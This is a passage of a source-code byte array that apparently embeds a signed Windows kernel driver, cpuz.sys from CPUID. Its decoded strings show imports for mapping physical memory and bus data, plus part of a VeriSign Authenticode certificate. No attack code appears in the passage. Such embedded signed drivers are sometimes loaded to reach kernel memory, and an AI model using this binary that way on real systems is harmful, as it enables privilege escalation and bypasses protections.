0x6E, 0x69, 0x74, 0x41, 0x6E, 0x73, 0x69, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0xED, 0x03,
0x4D, 0x6D, 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0xBE, 0x01, 0x49, 0x6F, 0x43, 0x61, 0x6E, 0x63, 0x65, 0x6C, 0x49, 0x72, 0x70, 0x00, 0x97, 0x05, 0x52, 0x74, 0x6C, 0x46, 0x72, 0x65, 0x65, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x09, 0x02, 0x49, 0x6F, 0x47, 0x65, 0x74, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x50, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x00, 0x00, 0xCE, 0x03, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0xA3, 0x02, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, 0x87, 0x03, 0x4B, 0x65, 0x57, 0x61, 0x69, 0x74,
0x46, 0x6F, 0x72, 0x53, 0x69, 0x6E, 0x67, 0x6C, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0xF0, 0x04, 0x50, 0x73, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x00, 0x00, 0xD8, 0x01, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0x88, 0x04, 0x4F, 0x62, 0x66, 0x44, 0x65, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x00, 0xCE, 0x01, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0xA2, 0x02, 0x49, 0x6F, 0x66, 0x43, 0x61, 0x6C, 0x6C, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x00, 0xC8, 0x02, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, 0x45, 0x78,
0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, 0x6E, 0x6C, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x51, 0x00, 0x4B, 0x65, 0x53, 0x74, 0x61, 0x6C, 0x6C, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x69, 0x6F, 0x6E, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x6F, 0x72, 0x00, 0x3A, 0x00, 0x48, 0x61, 0x6C, 0x53, 0x65, 0x74, 0x42, 0x75, 0x73, 0x44, 0x61, 0x74, 0x61, 0x42, 0x79, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x16, 0x00, 0x48, 0x61, 0x6C, 0x47, 0x65, 0x74, 0x42, 0x75, 0x73, 0x44, 0x61, 0x74, 0x61, 0x42, 0x79, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x50, 0x00, 0x4B, 0x65, 0x51, 0x75, 0x65, 0x72, 0x79, 0x50, 0x65, 0x72, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x6E, 0x63, 0x65, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x65, 0x72, 0x00, 0x48, 0x41, 0x4C, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
0x57, 0x06, 0x52, 0x74, 0x6C, 0x55, 0x6E, 0x77, 0x69, 0x6E, 0x64, 0x45, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x09, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, 0xF0, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x02, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00,
0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x04, 0x00, 0x01, 0x00, 0x06, 0x00, 0x01, 0x40, 0xB0, 0x1D, 0x3F, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x2A, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, 0x39, 0x00, 0x30, 0x00, 0x34, 0x00, 0x42, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x06, 0x00, 0x01, 0x00, 0x43, 0x00,
0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x50, 0x00, 0x55, 0x00, 0x49, 0x00, 0x44, 0x00, 0x00, 0x00, 0x42, 0x00, 0x0D, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x50, 0x00, 0x55, 0x00, 0x49, 0x00, 0x44, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x20, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00,
0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x37, 0x00, 0x36, 0x00, 0x30, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x36, 0x00, 0x33, 0x00, 0x38, 0x00, 0x35, 0x00, 0x20, 0x00, 0x62, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x74, 0x00, 0x20, 0x00, 0x62, 0x00, 0x79, 0x00, 0x3A, 0x00, 0x20, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x44, 0x00, 0x44, 0x00, 0x4B, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x63, 0x00, 0x70, 0x00, 0x75, 0x00, 0x7A, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x18, 0x00,
0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x28, 0x00, 0x43, 0x00, 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x31, 0x00, 0x36, 0x00, 0x20, 0x00, 0x43, 0x00, 0x50, 0x00, 0x55, 0x00, 0x49, 0x00, 0x44, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x09, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x63, 0x00, 0x70, 0x00, 0x75, 0x00, 0x7A, 0x00,
0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x00, 0x0E, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x50, 0x00, 0x55, 0x00, 0x49, 0x00, 0x44, 0x00, 0x20, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x00, 0x00, 0x42, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x36, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x37, 0x00, 0x36, 0x00, 0x30, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00,
0x36, 0x00, 0x33, 0x00, 0x38, 0x00, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x61, 0x00, 0x00, 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x61, 0x2F, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x61, 0x20, 0x30, 0x82, 0x61, 0x1C, 0x02, 0x01, 0x01, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x30, 0x4C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, 0xA0, 0x3E, 0x30, 0x3C, 0x30, 0x17, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, 0x09, 0x03, 0x01, 0x00, 0xA0, 0x04, 0xA2, 0x02, 0x80, 0x00, 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14, 0xB3, 0x8B, 0x98, 0x60, 0x8E, 0x41, 0x0C, 0x15, 0x55, 0xA7, 0xD7, 0x30, 0x56, 0xE8, 0x6E, 0x1D, 0xB8, 0x50, 0xBB, 0x2E, 0xA0, 0x82, 0x15,
0x0B, 0x30, 0x82, 0x04, 0xD0, 0x30, 0x82, 0x04, 0x39, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, 0x25, 0x0C, 0xE8, 0xE0, 0x30, 0x61, 0x2E, 0x9F, 0x2B, 0x89, 0xF7, 0x05, 0x4D, 0x7C, 0xF8, 0xFD, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x5F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x37, 0x30, 0x35, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x2E, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69,
0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, 0x30, 0x1E, 0x17, 0x0D, 0x30, 0x36, 0x31, 0x31, 0x30, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x31, 0x31, 0x31, 0x30, 0x37, 0x32, 0x33, 0x35, 0x39, 0x35, 0x39, 0x5A, 0x30, 0x81, 0xCA, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3A, 0x30, 0x38, 0x06, 0x03,
0x55, 0x04, 0x0B, 0x13, 0x31, 0x28, 0x63, 0x29, 0x20, 0x32, 0x30, 0x30, 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x20, 0x2D, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x61, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, 0x64, 0x20, 0x75, 0x73, 0x65, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x31, 0x45, 0x30, 0x43, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x3C, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, 0x20, 0x2D, 0x20, 0x47, 0x35, 0x30, 0x82, 0x01,
0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xAF, 0x24, 0x08, 0x08, 0x29, 0x7A, 0x35, 0x9E, 0x60, 0x0C, 0xAA, 0xE7, 0x4B, 0x3B, 0x4E, 0xDC, 0x7C, 0xBC, 0x3C, 0x45, 0x1C, 0xBB, 0x2B, 0xE0, 0xFE, 0x29, 0x02, 0xF9, 0x57, 0x08, 0xA3, 0x64, 0x85, 0x15, 0x27, 0xF5, 0xF1, 0xAD, 0xC8, 0x31, 0x89, 0x5D, 0x22, 0xE8, 0x2A, 0xAA, 0xA6, 0x42, 0xB3, 0x8F, 0xF8, 0xB9, 0x55, 0xB7, 0xB1, 0xB7, 0x4B, 0xB3, 0xFE, 0x8F, 0x7E, 0x07, 0x57, 0xEC, 0xEF, 0x43, 0xDB, 0x66, 0x62, 0x15, 0x61, 0xCF, 0x60, 0x0D, 0xA4, 0xD8, 0xDE, 0xF8, 0xE0, 0xC3, 0x62, 0x08, 0x3D, 0x54, 0x13, 0xEB, 0x49, 0xCA, 0x59, 0x54, 0x85, 0x26, 0xE5, 0x2B, 0x8F, 0x1B, 0x9F, 0xEB,
0xF5, 0xA1, 0x91, 0xC2, 0x33, 0x49, 0xD8, 0x43, 0x63, 0x6A, 0x52, 0x4B, 0xD2, 0x8F, 0xE8, 0x70, 0x51, 0x4D, 0xD1, 0x89, 0x69, 0x7B, 0xC7, 0x70, 0xF6, 0xB3, 0xDC, 0x12, 0x74, 0xDB, 0x7B, 0x5D, 0x4B, 0x56, 0xD3, 0x96, 0xBF, 0x15, 0x77, 0xA1, 0xB0, 0xF4, 0xA2, 0x25, 0xF2, 0xAF, 0x1C, 0x92, 0x67, 0x18, 0xE5, 0xF4, 0x06, 0x04, 0xEF, 0x90, 0xB9, 0xE4, 0x00, 0xE4, 0xDD, 0x3A, 0xB5, 0x19, 0xFF, 0x02, 0xBA, 0xF4, 0x3C, 0xEE, 0xE0, 0x8B, 0xEB, 0x37, 0x8B, 0xEC, 0xF4, 0xD7, 0xAC, 0xF2, 0xF6, 0xF0, 0x3D, 0xAF, 0xDD, 0x75, 0x91, 0x33, 0x19, 0x1D, 0x1C, 0x40, 0xCB, 0x74, 0x24, 0x19, 0x21, 0x93, 0xD9, 0x14, 0xFE, 0xAC, 0x2A, 0x52, 0xC7, 0x8F, 0xD5, 0x04, 0x49, 0xE4, 0x8D, 0x63, 0x47, 0x88, 0x3C, 0x69, 0x83, 0xCB, 0xFE, 0x47, 0xBD, 0x2B, 0x7E, 0x4F, 0xC5, 0x95, 0xAE, 0x0E,
0x9D, 0xD4, 0xD1, 0x43, 0xC0, 0x67, 0x73, 0xE3, 0x14, 0x08, 0x7E, 0xE5, 0x3F, 0x9F, 0x73, 0xB8, 0x33, 0x0A, 0xCF, 0x5D, 0x3F, 0x34, 0x87, 0x96, 0x8A, 0xEE, 0x53, 0xE8, 0x25, 0x15, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0x9B, 0x30, 0x82, 0x01, 0x97, 0x30, 0x0F, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, 0x30, 0x31, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x2A, 0x30, 0x28, 0x30, 0x26, 0xA0, 0x24, 0xA0, 0x22, 0x86, 0x20, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x76, 0x65, 0x72, 0x69, 0x73, 0x69, 0x67, 0x6E, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x63, 0x61, 0x33, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30,
